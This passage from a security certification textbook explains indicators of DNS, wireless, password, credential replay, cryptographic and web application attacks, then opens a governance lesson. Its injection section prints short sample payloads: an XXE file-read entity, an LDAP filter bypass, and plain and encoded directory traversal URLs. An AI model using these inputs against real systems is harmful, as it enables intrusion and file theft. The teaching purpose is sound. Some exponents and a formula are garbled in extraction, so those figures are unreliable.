now functions through DNS, the HOSTS file is still present and most operating
systems check the file before using DNS. Its contents are loaded into a cache of
known name:IP mappings, and the client only contacts a DNS server if the name
is not cached. Therefore, if an attacker is able to place a false name:IP address
mapping in the HOSTS file and effectively poison the DNS cache, they will be able
to redirect traffic. The HOSTS file requires administrator access to modify. In UNIX
and Linux systems it is stored as /etc/hosts, while in Windows it is placed
in %SystemRoot%\System32\Drivers\etc\hosts. The presence
of suspect entries in the HOSTS file is an indictator that the machine has been
compromised.

DNS Server Cache Poisoning

DNS server cache poisoning aims to corrupt the records held by the DNS server
itself. This can be accomplished by performing DoS against the server that holds
the authorized records for the domain, and then spoofing replies to requests from
other name servers. Another attack involves getting the victim name server to
respond to a recursive query from the attacking host. A recursive query compels the
DNS server to query the authoritative server for the answer on behalf of the client.
The attacker’s DNS, masquerading as the authoritative name server, responds with
the answer to the query, but also includes a lot of false domain:IP mappings for
other domains that the victim DNS accepts as genuine. The nslookup or dig
tool can be used to query the name records and cached records held by a server to
discover whether any false records have been inserted.

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DNS Attack Indicators

A DNS server may log an event each time it handles a request to convert between a
domain name and an IP address. DNS event logs can hold a variety of information
that may supply useful security intelligence and attack indicators, such as the
following:
• The types of queries a host has made to DNS.

• Hosts that are in communication with suspicious IP address ranges or domains.

• Statistical anomalies such as spikes or consistently large numbers of DNS

lookup failures, which may point to computers that are infected with malware,
misconfigured, or running obsolete or faulty applications.

DNS is also a popular choice for implementing command & control (C&C) of remote
access Trojans. It can be used as a means of covertly exfiltrating data from a private
network.

Wireless Attacks
Wireless networks present particular security challenges and are frequently the
vector for various types of attacks.

Rogue Access Points

A rogue access point is one that has been installed on the network without
authorization, whether with malicious intent or not. A malicious user can set up
such an access point with something as basic as a smartphone with tethering
capabilities, and a non-malicious user could enable such an access point by
accident. If connected to a local segment, an unauthorized access point creates a
backdoor through which to attack the network.
A rogue access point masquerading as a legitimate one is called an evil twin.
Each network is identified to users by a service set identifier (SSID) name. An evil
twin might use typosquatting or SSID stripping to make the rogue network name
appear similar to the legitimate one. Alternatively, the attacker might use some
DoS technique to overcome the legitimate access point. In the latter case, they
could spoof both the SSID and the basic SSID (BSSID). The BSSID is the MAC address
of the access point’s radio. The evil twin might be able to harvest authentication
information from users entering their credentials by mistake and implement a
variety of other on-path attacks, including DNS redirection.

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Surveying Wi-Fi networks using MetaGeek inSSIDer. The Struct-Guest network shown in
the first window is the legitimate one and has WPA2 security configured. The evil twin
has the same SSID, but a different BSSID (MAC address), and open authentication.
(MetaGeek, Inc. © Copyright 2005–2023.)

A rogue hardware access point can be identified through physical inspections.

There are also various Wi-Fi analyzers and wireless intrusion protection systems
that can detect rogue access points. These can log use of typosquatting SSIDs and
unknown and duplicate (spoofed) MAC addresses. In an enterprise network, access
points are usually connected to switches. Monitoring can detect any that are not
and flag them as potential rogues. They may also be able to identify radio hardware
and alert if an unauthorized access point brand is detected.

Wireless Denial of Service

A wireless denial of service (DoS) attack is usually designed to prevent clients from
connecting to the legitimate access point. A wireless network can be disrupted by
interference from other radio sources. These are often unintentional, but it is also
possible for an attacker to purposefully jam the legitimate network by setting up a
rogue access point with a stronger signal.
Wireless DoS can also target clients. In the normal course of operations, an access
point and client use management frames to control connections. A disassociation
attack exploits the lack of encryption in management frame traffic to send spoofed
frames. One type of disassociation attack injects management frames that spoof
the MAC address of a single victim station in a disassociation notification, causing
it to be disconnected from the network. Another variant of the attack broadcasts
spoofed frames to disconnect all stations. As well as trying to redirect connections
to an evil twin, a disassociation attack might also be used in conjunction with a
replay attack aimed at recovering the network key.

Wireless Replay and Key Recovery

Wireless authentication is vulnerable to various types of replay attack that aim to
capture the hashes used when a wireless station associates with an access point.
Once the hash is captured, it can be subjected to offline brute force and dictionary
cracking. A KRACK attack uses a replay mechanism that targets the WPA and WPA2
4-way handshake. KRACK is effective regardless of whether the authentication
mechanism is personal or enterprise. It is important to ensure both clients and
access points are fully patched against such attacks.

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Password Attacks
When a user chooses a password, the plaintext value is converted to a
cryptographic hash. This means that, in theory, no one except the user (not even
the systems administrator) knows the password, because the plaintext should not
be recoverable from the hash. A password attack aims to exploit the weaknesses
inherent in password selection and management to recover the plaintext and use it
to compromise an account.

Online Attacks
An online password attack is where the threat actor interacts with the authentication
service directly—a web login form or VPN gateway, for instance. An online password
attack can show up in audit logs as repeatedly failed logins and then a successful
login, or as successful login attempts at unusual times or locations. Apart from
ensuring the use of strong passwords by users, online password attacks can be
mitigated by restricting the number or rate of login attempts, and by shunning login
attempts from known bad IP addresses.

Note that restricting logins can be turned into a vulnerability as it exposes the account
to denial of service attacks. The attacker keeps trying to authenticate, locking out valid
users.

Offline Attacks
An offline attack means that the attacker has managed to obtain a database of
password hashes, such as %SystemRoot%\System32\config\SAM,
%SystemRoot%\NTDS\NTDS.DIT (the Active Directory credential store) or
/etc/shadow. Once the password database has been obtained, the cracker
does not interact with the authentication system. The only indicator of this type of
attack (other than misuse of the account in the event of a successful attack) is a file
system audit log that records the malicious account accessing one of these files.
Threat actors can also read credentials from host memory, in which case the only
reliable indicator might be the presence of attack tools on a host.
If the attacker cannot obtain a database of passwords, a packet sniffer might
be used to obtain the client response to a server challenge in an authentication
protocol. Some protocols send the hash directly; others use the hash to derive
an encryption key. Weaknesses in protocols using derived keys can allow for the
extraction of the hash for cracking.

Brute Force Attacks

A brute force attack attempts every possible combination in the output space to
try to match a captured hash and derive the plaintext that generated it. The output
space is determined by the number of bits used by the algorithm (128-bit MD5 or
256-bit SHA256, for instance). The larger the output space and the more characters
that were used in the plaintext password, the more difficult it is to compute and test
each possible hash to find a match. Brute force attacks are heavily constrained by
time and computing resources, and are therefore most effective at cracking short
passwords. However, brute force attacks distributed across multiple hardware
components, like a cluster of high-end graphics cards, can be successful at cracking
longer passwords.

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Dictionary and Hybrid Attacks

A dictionary attack can be used where there is a good chance of guessing
the likely value of the plaintext, such as a noncomplex password. The software
generates hash values from a dictionary of plaintexts to try to match one to a
captured hash. A hybrid password attack uses a combination of dictionary
and brute force attacks. It is principally targeted against naive passwords with
inadequate complexity, such as james1. The password cracking algorithm tests
dictionary words and names in combination with a mask that limits the number of
variations to test for, such as adding numeric prefixes and/or suffixes.

Password Spraying
Password spraying is a horizontal brute force online attack. This means that the
attacker chooses one or more common passwords (for example, password or
123456) and tries them in conjunction with multiple usernames.

Credential Replay Attacks

A threat actor might establish a foothold on the network by compromising a single
workstation via malware or a password attack. Once an initial foothold has been
gained, the threat actor’s objective is likely to be to identify data assets. For this,
they need to find ways to perform lateral movement to compromise other hosts on
the network, and privilege escalation to gain more permissions over network assets.
To accomplish these objectives, as well as cracking more passwords or finding more
vulnerabilities, they can use credential replay attacks.

In terms of network attacks, credential replay attacks mostly target Windows Active
Directory networks. There are also credential replay attacks that target
web applications. We will discuss these in the next topic.

If a user account on a Windows host has authenticated to an Active Directory

domain network, the Local Security Authority Subsystem Service (LSASS) caches
various secrets in memory and in the Security Account Manager (SAM) registry
database to facilitate single sign-on. These secrets include the following:
• Kerberos Ticket Granting Ticket (TGT) and session key. This allows the host to
request service tickets to access applications.

• Service tickets for applications where the user has started a session.

• NT hash of local and domain user and service accounts that are currently signed
in, whether interactively or remotely over the network. Early Windows business
networks used NT LAN Manager (NTLM) challenge and response authentication.
While the NTLM protocol is deprecated for most uses, the NT hash is still used
as the credential storage format. The NT hash is used where legacy NTLM
authentication is still allowed, and can be involved in signing Kerberos requests
and responses.

Critical for network security, if different users are signed in on the same host,
secrets for all these accounts could be cached by LSASS. If some of these accounts
are for more privileged users, such as domain administrators, a threat actor might
be able to use the secrets to escalate privileges.

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LSASS purges hashes from memory within a few minutes of the user signing out.
The SAM database caches local and Microsoft account credentials, but not domain
credentials. Some editions of Windows implement a virtualization feature called
Credential Guard to protect these secrets from malicious processes, even if they have
SYSTEM permissions.

Credential replay attacks use various mechanisms to obtain and exploit these locally
stored secrets to start authenticated sessions on other hosts and applications on
the network. For example, if a threat actor can obtain an NT hash, they can use a
pass the hash (PtH) attack to start a session on another host if that host is running a
service such as file sharing or remote desktop that still allows NTLM authentication.

The pass the hash process. The Security Accounts Manager (SAM) is a Windows registry
database that stores local account credentials. (Images © 123RF.com.)

Legacy NTLM authentication is often disabled as it is such a high security risk.

Other types of credential replay are directed against Kerberos authentication and
authorization. For example, a golden ticket attack attempts to forge a ticket granting
ticket. If successful, this gives the threat actor effectively unrestricted access to all
domain resources. A silver ticket attack attempts to forge service tickets. These can
be described as pass the ticket (PtT) attacks.
Microsoft has released a number of mitigations against these specific credential
replay attacks. Ensuring hosts are fully patched and use secure configuration
baselines greatly reduces their effectiveness. Where they remain a risk, a detection
system can be configured to correlate a sequence of security log events, but
this method can be prone to false positives. Antivirus and host-based intrusion
detection can often detect the malware code used to dump credentials or launch
ticket forgery attacks.

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Cryptographic Attacks
Attacks that target authentication systems often depend on the system using weak
cryptography.

Downgrade Attacks
A downgrade attack makes a server or client use a lower specification protocol
with weaker ciphers and key lengths. For example, a combination of an on-path and
downgrade attack on HTTPS might try to force the client to use a weak version of
transport layer security (TLS) or even downgrade to the legacy secure sockets layer
(SSL) protocol. This makes it easier for a threat actor to force the use of weak cipher
suites and forge the signature of a certificate authority that the client trusts.
A type of downgrade attack is used to attack Active Directory. A Kerberoasting
attack attempts to discover the passwords that protect service accounts by
obtaining service tickets and subjecting them to brute force password cracking
attacks. If the credential portion of the service ticket is encrypted using AES, it is
very hard to brute force. If the attack is able to cause the server to return the ticket
using weak RC4 encryption, a cracker is more likely to be able to extract the service
password.
Evidence of downgrade attacks is likely to be found in server logs or by intrusion
detection systems.

Collision Attacks
A collision is where a weak cryptographic hashing function or implementation
allows the generation of the same digest value for two different plaintexts. A
collision attack exploits this vulnerability to forge a digital signature. The attack
works as follows:
1. The attacker creates a malicious document and a benign document that
produce the same hash value. The attacker submits the benign document
for signing by the target.

2. The attacker then removes the signature from the benign document and adds
it to the malicious document, forging the target’s signature.

A collision attack could be used to forge a digital certificate to spoof a trusted

website or to make it appear as though Trojan malware derived from a trusted
publisher.

Birthday Attacks
A collision attack depends on being able to create a malicious document that
outputs the same hash as the benign document. Some collision attacks depend
on being able to manipulate the way the hash is generated. A birthday attack is
a means of exploiting collisions in hash functions through brute force. Brute force
means attempting every possible combination until a successful one is achieved.
The attack is named after the birthday paradox. This paradox shows that the
computational time required to brute force a collision might be less than expected.
The birthday paradox asks how large must a group of people be so that the chance
of two of them sharing a birthday is 50%. The answer is 23, but people who are
not aware of the paradox often answer around 180 (365/2). The point is that
the chances of someone sharing a particular birthday are small, but the chances
of any two people in a group sharing any birth date in a calendar year get
better and better as you add more people: 1 – (365 * (365 − 1) * (365 – 2) ...
* (365 – (N − 1)/365N).

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To exploit the paradox, the attacker creates multiple malicious and benign
documents, both featuring minor changes (punctuation, extra spaces, and so on).
Depending on the length of the hash and the limits to the non-suspicious changes
that can be introduced, if the attacker can generate sufficient variations, then the
chance of matching hash outputs can be better than 50%. This effectively means
that a hash function that outputs 128-bit hashes can be attacked by a mechanism
that can generate 264 variations. Computing 264 variations will take much less time
than computing 2128 variations.
Attacks that exploit collisions are difficult to launch, but the principle behind the
attack informs the need to use authentication methods that use both strong ciphers
and strong protocol and software implementations.

Malicious Code Indicators

Many network attacks are launched by compromised hosts running various
types of malicious code. Indicators of malicious code execution are either caught
by endpoint protection software or discovered after the fact in logs of how the
malware interacted with the network, file system, and registry. To understand how
and where these indicators are generated, it is helpful to consider the main types of
malicious activity:
• Shellcode—this is a minimal program designed to exploit a vulnerability in the
OS or in a legitimate app to gain privileges, or to drop a backdoor on the host if
run as a Trojan. Having gained a foothold, this type of attack will be followed by
some type of network connection to download additional tools.

• Credential dumping—the malware might try to access the credentials file (SAM
on a local Windows workstation) or sniff credentials held in memory by the lsass.
exe system process. Additionally, a DCSync attack attempts to trick a domain
controller into replicating its user list along with their credentials with a rogue
host.

• Pivoting/lateral movement/insider attack—the general procedure is to

use the foothold to execute a process remotely, using a tool such as PsExec
or PowerShell. The attacker might be seeking data assets or may try to widen
access by changing the system security configuration, such as opening a firewall
port or creating an account. If the attacker has compromised an account, these
commands can blend in with ordinary network operations, though they could be
anomalous behavior for that account.

• Persistence—this is a mechanism that allows the threat actor’s backdoor

to restart if the host reboots or the user logs off. Typical methods are to use
AutoRun keys in the registry, adding a scheduled task, or using Windows
Management Instrumentation (WMI) event subscriptions.

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Review Activity:
Network Attack Indicators
8

Answer the following questions:

1. What is an amplification attack?

2. Why are many network DoS attacks distributed?

3. Users in a particular wireless network segment are complaining that

websites are frequently slow to load or unavailable or filled with
advertising. On investigation, each host in the segment is set to use an
unauthorized DNS resolver. Which attack type is the likely cause for this?

4. The security log on a domain controller has recorded numerous

unsuccessful attempts to read the NTDS.DIT file by three different client
workstation computer accounts. What specific type of attack is this a
precursor for?

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Topic 13C
Application Attack Indicators
5

EXAM OBJECTIVES COVERED

2.4 Given a scenario, analyze indicators of malicious activity.

A web application exposes many interfaces to public networks. Attackers can exploit
vulnerabilities in server software and in client browser security to perform injection
and session hijacking attacks that compromise data confidentiality and integrity.
Understanding how these attacks are perpetrated and being able to diagnose their
indicators from appropriate data sources will help you to prevent and remediate
intrusion events.

Application Attacks
An application attack targets a vulnerability in OS or application software. An
application vulnerability is a design flaw that can cause the application security
system to be circumvented or that will cause the application to crash. There are
broadly two main scenarios for application attacks:
• Compromising the operating system or third-party apps on a network host by
exploiting Trojans, malicious attachments, or browser vulnerabilities. This allows
the threat actor to obtain a foothold on a local network.

• Compromising the security of a website or web application. This allows a threat

actor to gain control of a web host, and either steal data from it or use it to try to
penetrate further into the network.

Increased numbers of application crashes and errors might provide a general

indicator that a threat actor is attempting to exploit a vulnerability in a network
service, desktop OS or app, or web application. Errors might be recorded in a
system log or application-specific log, depending on the nature of the software and
the type of fault event. Anomalous CPU, memory, storage, or network utilization can
also be an indicator of application attack. These indicators can also have multiple
non-malicious causes, however, so it is important to correlate them to factors that
identify specific types of application attacks.

Privilege Escalation
The purpose of most application attacks is to allow the threat actor to run their own
code on the system. This is referred to as arbitrary code execution. Where the
code is transmitted from one machine to another, it can be referred to as remote
code execution. The code would typically be designed to install some sort of
backdoor or to disable the system in some way.
An application or process must have privileges to read and write data and execute
functions. Depending on how the software is written, a process may run using a
system account, the account of the logged-on user, or a nominated account.

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If a software exploit works, the attacker may be able to execute arbitrary code with
the same privilege level as the exploited process. There are two main types of
privilege escalation:
• Vertical privilege escalation (or elevation) is where a user or application can
access functionality or data that should not be available to them. For instance, a
process might run with local administrator privileges, but a vulnerability allows
the arbitrary code to run with higher SYSTEM privileges.

• Horizontal privilege escalation is where a user accesses functionality or data

that is intended for another user. For instance, via a process running with local
administrator privileges on a client workstation, the arbitrary code is able to
execute as a domain account on an application server.

Without performing detailed analysis of code or process execution in real time, it is

privilege escalation that provides the simplest indicator of an application attack. If
process logging has been configured, the audit log can provide evidence of privilege
escalation attempts. These attempts may also be detected by incident response and
endpoint protection agents, which will display an alert.

Buffer Overflow
A buffer is an area of memory that an application reserves to store some value. The
application will expect the data to conform to some expected value size or format.
To exploit a buffer overflow vulnerability, the attacker passes data that deliberately
fills the buffer to its end and then overwrites data at its start. One of the most
common vulnerabilities is a stack overflow. The stack is an area of memory used
by a program subroutine. It includes a return address, which is the location of
the program that called the subroutine. An attacker could use a buffer overflow
to change the return address, allowing the attacker to run arbitrary code on the
system.
Operating systems use mechanisms such as address space layout randomization
(ASLR) and Data Execution Prevention (DEP) to mitigate risks from buffer overflow.
Failed attempts at buffer overflow can be identified through frequent process
crashes and other anomalies.

Replay Attacks
In the context of a web application, a replay attack most often means exploiting
cookie-based sessions. HTTP is nominally a stateless protocol, meaning that the
server preserves no information about the client. To overcome this limitation,
mechanisms such as cookies have been developed to preserve stateful data. A
cookie is created when the server sends an HTTP response header with the cookie
data. A cookie has a name and value, plus optional security and expiry attributes.
Subsequent request headers sent by the client will usually include the cookie.
Cookies are either nonpersistent cookies, in which case they are stored in memory
and deleted when the browser instance is closed, or persistent, in which case
they are stored in the browser cache until deleted by the user or pass a defined
expiration date.
Session management enables a web application to uniquely identify a user across
a number of different actions and requests. A session token identifies the user
and may also be used to prove that the user has been authenticated. A replay
attack works by capturing or guessing the token value, and then submitting it to
reestablish the session illegitimately.

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Using The Browser Exploitation Framework (BeEF) to obtain the session cookie from a browser.

Attackers can capture cookies by sniffing network traffic via an on-path attack or
when they are sent over an unsecured network, like a public Wi-Fi hotspot. Malware
infecting a host is also likely to be able to capture cookies. Session cookies can also
be compromised via cross-site scripting (XSS).

Cross-site scripting (XSS) is an attack technique that runs malicious code in a browser in
the context of a trusted site or application.

Session prediction attacks focus on identifying possible weaknesses in the

generation of tokens that will enable an attacker to anticipate values that will
establish sessions in the future. A session token must be generated using a non-
predictable algorithm, and it must not reveal any information about the session
client. In addition, proper session management dictates that apps limit the life span
of a session and require reauthentication after a certain period.

Forgery Attacks
In contrast with replay attacks, a forgery attack hijacks an authenticated session to
perform some action without the user’s consent.

Cross-Site Request Forgery

A cross-site request forgery (CSRF) can exploit applications that use cookies to
authenticate users and track sessions. To work, the threat actor must convince the
victim to start a session with the target site. The attacker must then pass an HTTP
request to the victim’s browser that spoofs an action on the target site, such as
changing a password or an email address. This request could be disguised in ways
that accomplish the attack without the victim necessarily having to click a link. If
the target site assumes that the browser is authenticated because there is a valid
session cookie, and doesn’t complete any additional authorization process on the
attacker’s input, it will accept the request as genuine. This is also referred to as a
confused deputy attack.

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Cross-site request forgery example. (Images © 123RF.com.)

Server-Side Request Forgery

A server-side request forgery (SSRF) causes a server application to process an
arbitrary request that targets another service. The target service could be another
application running on the same host or a service running on a remote host. SSRF
exploits both the lack of authentication between the internal servers and services.
It also relies on weak input validation, which allows the attacker to submit arbitrary
requests.
SSRF attacks are often targeted against cloud infrastructure where the web server
is only the public-facing component of a deeper processing chain. A typical web
application comprises multiple layers of servers, with a client interface, middleware
logic layers, and a database layer. Requests initiated from the client interface
(a web form) are likely to require multiple requests and responses between the
middleware and back-end servers. These will be implemented as HTTP header
requests and responses between each server. SSRF is a means of accessing these
internal servers by causing the public server to execute requests on them. While
with CSRF an exploit only has the privileges of the client, with SSRF the manipulated
request is made with the server’s privilege level.

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Server-side request forgery example. (Images © 123RF.com.)

Injection Attacks
Attacks such as session replay, CSRF, and most types of XSS are client-side attacks.
This means that they execute arbitrary code on the browser. A server-side attack
causes the server to do some processing or run a script or query in a way that is
not authorized by the application design. Most server-side attacks depend on some
kind of injection attack.
An injection attack exploits some unsecure way in which the application processes
requests and queries. For example, an application might allow a user to view their
profile with a database query that should return the single record for that one
user’s profile. An application vulnerable to an injection attack might allow a threat
actor to return the records for all users, or to change fields in the record when they
are only supposed to be able to read them.
The persistent XSS and abuse of SQL queries and parameters discussed earlier in
the course are both types of injection attack. There are a number of other injection
attack types that pose serious threats to web applications and infrastructure.

Extensible Markup Language Injection

Extensible Markup Language (XML) is used by apps for authentication and
authorizations, and for other types of data exchange and uploading. Data
submitted via XML with no encryption or input validation is vulnerable to spoofing,
request forgery, and injection of arbitrary data or code. For example, an XML
External Entity (XXE) attack embeds a request for a local resource:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY bar
SYSTEM "file:///etc/config"> ]>
<bar> &bar; </bar>

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This defines an entity named bar that refers to a local file path. A successful attack
will return the contents of /etc/config as part of the response.

Lightweight Directory Access Protocol (LDAP) Injection

The Lightweight Directory Access Protocol (LDAP) is another example of a query
language. LDAP is specifically used to read and write network directory databases. A
threat actor could exploit either unauthenticated access or a vulnerability in a client
app to submit arbitrary LDAP queries. This could allow accounts to be created or
deleted, or for the attacker to change authorizations and privileges.
LDAP filters are constructed from (name=value) attribute pairs delimited by
parentheses and the logical operators AND (&) and OR (|). Adding filter parameters
as unsanitized input can bypass access controls. For example, if a web form
authenticates to an LDAP directory with the valid credentials Bob and Pa$$w0rd,
it may construct a query such as this from the user input:
(&(username=Bob)(password=Pa$$w0rd))
Both parameters must be true for the login to be accepted. If the form input is
not sanitized, a threat actor could bypass the password check by entering a valid
username plus an LDAP filter string, such as bob)(&)). This causes the password
filter to be dropped for a condition that is always true:
(&(username=Bob)(&))

Directory Traversal and Command Injection Attacks

Directory traversal is another type of injection attack performed against a web
server. The threat actor submits a request for a file outside the web server’s root
directory by submitting a path to navigate to the parent directory (../). This attack
can succeed if the input is not filtered properly, and access permissions on the file
allow the web server’s process to read, write, or execute it.
The threat actor might use a canonicalization attack to disguise the nature of the
malicious input. Canonicalization refers to the way the server converts between the
different methods by which a resource may be represented and submitted to the
simplest (or canonical) method used by the server to process the input. Examples
of encoding schemes include HTML entities and character set percent encoding. An
attacker might be able to exploit vulnerabilities in the canonicalization process to
perform code injection or facilitate directory traversal. For example, to perform a
directory traversal attack, the attacker might submit a URL such as the following:
http://victim.foo/?show=../../../../etc/config
A limited input validation routine would prevent the use of the string ../ and refuse
the request. If the attacker submitted the URL using the encoded version of the
characters, they might be able to circumvent the validation routine:
http://victim.foo/?
show=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/config
A command injection attack attempts to cause the server to run OS shell
commands and return the output to the browser. As with directory traversal, the
web server should normally be able to prevent commands from operating outside
of the server’s directory root and to prevent commands from running with any
privilege level other than the web server’s “guest” user (which is normally granted
only very restricted privileges). A successful command injection attack would find
some way of circumventing this security, or exploit a web server that is not properly
configured.

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URL Analysis
Session hijacking/replay, forgery, and injection attacks are difficult to identify, but
the starting points for detection are likely to be URL analysis and the web server’s
access log.

Uniform Resource Locator Analysis

As well as pointing to the host or service location on the Internet (by domain name
or IP address), a Uniform Resource Locator (URL) can encode some action or data
to submit to the server host. This is a common vector for malicious activity.

Uniform Resource Locator (URL) analysis.

As part of URL analysis, it is important to understand how HTTP operates. An

HTTP session starts with a client (a user-agent, such as a web browser) making
a request to an HTTP server. The connection establishes a TCP connection. This
TCP connection can be used for multiple requests, or a client can start new TCP
connections for different requests. A request typically comprises a method, a
resource (such as a URL path), version number, headers, and body. The principal
methods are the following:
• GET—retrieve a resource.

• POST—send data to the server for processing by the requested resource.

• PUT—create or replace the resource.

Data can be submitted to a server either by using a POST or PUT method and the
HTTP headers and body, or by encoding the data within the URL used to access
the resource. Data submitted via a URL is delimited by the ? character, which
follows the resource path. Query parameters are usually formatted as one or more
name=value pairs, with ampersands delimiting each pair.
The server response comprises the version number and a status code and message,
plus optional headers, and message body. An HTTP response code is the header
value returned by a server when a client requests a URL, such as 200 for “OK” or 404
for “Not Found.”

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Percent Encoding
A URL can contain only unreserved and reserved characters from the standard set.
Reserved characters are used as delimiters within the URL syntax and should only
be used unencoded for those purposes. The reserved characters are the following:
: / ? # [ ] @ ! $ & ' ( ) * + , ; =
There are also unsafe characters, which cannot be used in a URL. Control
characters, such as null string termination, carriage return, line feed, end of file,
and tab, are unsafe. Percent encoding allows a user-agent to submit any safe or
unsafe character (or binary data) to the server within the URL. Its legitimate uses
are to encode reserved characters within the URL when they are not part of the
URL syntax and to submit Unicode characters. Percent encoding can be misused
to obfuscate the nature of a URL (encoding unreserved characters) and submit
malicious input.

Web Server Logs

Web servers are typically configured to log HTTP traffic that encounters an error
or traffic that matches some predefined rule set. This can preserve indicators of
attempted and successful replay, forgery, and injection attacks.
The status code of a response can reveal quite a bit about both the request and
the server’s behavior. Codes in the 400 range indicate client-based errors, while
codes in the 500 range indicate server-based errors. For example, repeated 403
(“Forbidden”) responses may indicate that the server is rejecting a client’s attempts
to access resources they are not authorized to. A 502 (“Bad Gateway”) response
could indicate that communications between the target server and its upstream
server are being blocked, or that the upstream server is down.
In addition to status codes, some web server software also logs HTTP header
information for both requests and responses. This can provide a detailed picture
of the makeup of each request or response, such as cookie information.

Web server access log showing an ordinary client (203.0.113.66) accessing a page and its
associated image resources, and then scanning activity from the Nikto app running
on 203.0.113.66. The scanning activity generates multiple 404 errors as it tries to map
the web app’s attack surface by enumerating common directories and files.

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Review Activity:
Application Attack Indicators
6

Answer the following questions:

1. How does a replay attack work in the context of session hijacking?

2. You are reviewing access logs on a web server and notice repeated
requests for URLs containing the strings %3C and %3E. Is this an event
that should be investigated further, and why?

3. You are improving back-end database security to ensure that requests

deriving from front-end web servers are authenticated. What general
class of attack is this designed to mitigate?

4. A technician is seeing high volumes of 403 Forbidden errors in a log.

What type of network appliance or server is producing these logs?

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Lesson 13
Summary
5

You should be able to identify the indicators of malware, physical, network,

cryptographic, password, and application attack types.

Guidelines for Implementing Indicator Analysis

Follow these guidelines to support analysis of different attack types:
• Consider implementing behavior-based endpoint protection suites that can
perform more effective detection of fileless malware.

• Consider setting up a sandbox with analysis tools to investigate suspicious

process behavior.

• Consider using threat data feeds to assist with identification of documented and
published indicators.

• Implement inspection audits and site logging to identify brute force,

environmental, and RFID cloning physical attacks.

• Prepare playbooks and threat intelligence to assist with attack analysis:

• Resource consumption, file system anomalies, resource inaccessibility, and

missing/out-of-cycle logging indicators of system compromise.

• Lockout, concurrent session, and impossible travel indicators of account

compromise.

• Characteristics of bloatware, virus, worm, Trojan, spyware, keylogger,

ransomware, and logic bomb malware types.

• Network appliance resource consumption indicators of DDoS, including

reflected and amplified types.

• Network monitoring and log indicators of on-path, DNS, wireless, credential

replay, cryptographic downgrade, password spraying, and brute force
password attacks.

• Host monitoring and logging indicators of injection, buffer overflow, replay,

privilege escalation, forgery, and directory traversal application attacks.

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 Lesson 14
Summarize Security Governance
Concepts
1

LESSON INTRODUCTION
Security governance is a critical aspect of an organization’s overall security
posture, providing a framework that guides the management of cybersecurity
risks. It involves developing, implementing, and maintaining policies, procedures,
standards, and guidelines to safeguard information assets and technical
infrastructure. Security governance encompasses the roles and responsibilities of
various stakeholders, emphasizing the need for a culture of security awareness
throughout the organization. Governance frameworks must manage and maintain
compliance with relevant laws, regulations, and contractual obligations while
supporting the organization’s strategic objectives. Effective security governance also
involves continuous monitoring and improvement to adapt to evolving threats and
changes in the business and regulatory environment.

Lesson Objectives
In this lesson, you will do the following:
• Identify the difference among policies, procedures, standards, and guidelines.

• Learn about the complexities of the legal environment impacting security

operations.

• Explore governance concepts and the role of leadership in security operations.

• Understand the importance of change mangement practices.

• Explore the role of automation and orchestration in security operations.

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Topic 14A
Policies, Standards, and Procedures
2

EXAM OBJECTIVES COVERED

5.1 Summarize elements of effective security governance.

Policies, standards, and procedures are three key components that form
the foundation of an organization’s security program. Policies are high-level,
authoritative documents defining the organization’s security commitment.
Standards are more specific than policies and specify the methods used to
implement technical and procedural requirements. Procedures are detailed,
step-by-step instructions describing how to complete specific tasks and align to
the requirements provided in standards. Procedures provide clear directions for
individuals to perform their job duties consistently, securely, and efficiently.

Policies
Organizational policies are vital in establishing effective governance and ensuring
organizational compliance. They form the framework for operations, decision-
making, and behaviors, setting the rules for a compliant and ethical corporate
culture. Governance describes the processes used to direct and control an
organization, including the processes for decision-making and risk management.
Policies are the outputs of governance. They establish the rules that frame decision-
making processes, risk mitigation, fairness, and transparency. They set expectations
for performance, align the organization around common goals, prevent misconduct,
and remove inefficiencies.
Compliance describes how well an organization adheres to regulations, policies,
standards, and laws relevant to its operation. Organizational policies are critical in
ensuring compliance by integrating legal and regulatory requirements into daily
operations. Policies define the rules and procedures for maintaining compliance
and outline the consequences of noncompliance.
For example, an organization may have a data privacy policy that explains how
it will maintain compliance with relevant laws to protect customer data. The
policy details data collection, storage, processing, and sharing practices, including
employee responsibilities, to ensure that all organization members understand and
adhere to the rules. Organizational policies help facilitate compliance assessments
through internal and external audits as policies provide a roadmap auditors follow
to determine whether an organization is operating as it claims and is successfully
satisfying its regulatory obligations.

Common Organizational Policies

• Acceptable Use Policy (AUP)—This policy outlines the acceptable ways in
which network and computer systems may be used by defining what constitutes
acceptable behavior by users. AUPs typically address browsing behavior,
appropriate content, software downloads, and handling sensitive information.

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The goal of an AUP is to ensure that users do not engage in activities that
could harm the organization or its resources. Also, the AUP should detail the
consequences for noncompliance, including details regarding how compliance is
monitored and require employees to acknowledge their comprehension of the
AUP’s rules via signature.

• Information Security Policies—These are policies created by an organization

to ensure that all information technology users comply with rules and guidelines
related to the security of the information stored within the environment or the
organization’s sphere of authority.

• Business Continuity & Continuity of Operations Plans (COOP)—Business

continuity and COOP policies focus on the critical processes that must remain
operational during and after a substantial disruption, like a natural disaster or a
cyber-attack.

• Disaster Recovery—These policies detail the steps required to recover from

a catastrophic event such as a natural disaster, major hardware failure, or a
significant security breach. The goal is to restore operations as quickly and
efficiently as possible.

• Incident Response—This policy outlines the processes to be followed after

a security breach, or cyberattack occurs. It details the steps for identifying,
investigating, controlling, and mitigating the impact of incidents, including
procedures for communicating about the incident to internal and external
sources.

• Software Development Life Cycle (SDLC)—SDLC policies govern software

development within an organization. These policies provide a structured
plan detailing the stages of development from initial requirement analysis to
maintenance after deployment. It ensures that all software produced meets the
organization’s efficiency, reliability, and security standards.

• Change Management—Change management policies outline how changes to

IT systems and software are requested, reviewed, approved, and implemented,
including all documentation requirements.

Guidelines
Guidelines describe recommendations that steer actions in a particular job role
or department. They are more flexible than policies and allow greater discretion
for the individuals implementing them. Guidelines provide best practices
and suggestions on achieving goals and completing tasks effectively and help
individuals understand the required steps to comply with a policy or improve
effectiveness.
An example of a guideline might be related to help desk support practices
related to using email in response to employee support requests. The guideline
may recommend specific language, tone, or response times but would allow for
flexibility depending on the request’s circumstances. While both policies and
guidelines work to steer the actions and behaviors of employees, policies are
mandatory and define strict rules, whereas guidelines provide recommendations
and allow for more individual judgment and discretion. Regular review of guidelines
is important to ensure they remain practical and relevant. Periodic assessments and
updates to guidelines allow organizations to adapt them to changing technologies,
business operations, emerging threats, and evolving industry standards.

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Procedures
Policies and guidelines set a framework for behavior. Procedures define step-by-
